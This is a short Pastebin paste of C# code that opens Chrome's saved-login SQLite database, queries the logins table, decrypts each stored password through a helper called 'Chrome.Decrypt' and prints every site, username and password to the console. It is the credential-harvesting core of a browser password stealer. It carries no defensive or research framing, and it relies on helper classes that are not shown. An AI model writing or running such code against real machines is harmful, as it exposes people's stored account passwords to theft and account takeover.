Advertisement
Guest User

Untitled

a guest
Mar 25th, 2017
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.21 KB | None | 0 0
  1. public static SQLiteConnection connection;
  2. public static SQLiteDataReader reader;
  3.  
  4. using (connection = new SQLiteConnection("DataSource=" + EngineChrome.browsers[y] + ";Version=3;New=True;Compress=True;"))
  5. {
  6. connection.Open();
  7. SQLiteCommand command = new SQLiteCommand("SELECT * FROM logins", connection);
  8. using (reader = command.ExecuteReader())
  9. {
  10. string host = null;
  11. string user = null;
  12. string pass = null;
  13. while (reader.Read())
  14. {
  15.  
  16. host = reader["origin_url"].ToString();
  17. user = reader["username_value"].ToString();
  18. pass = Chrome.Decrypt(Encoding.Default.GetBytes(reader["password_value"].ToString()));
  19. if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && !String.IsNullOrEmpty(pass))
  20. {
  21. Console.WriteLine("{0},{1},{2}",host,user,pass);
  22. }
  23. }
  24. }
  25. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement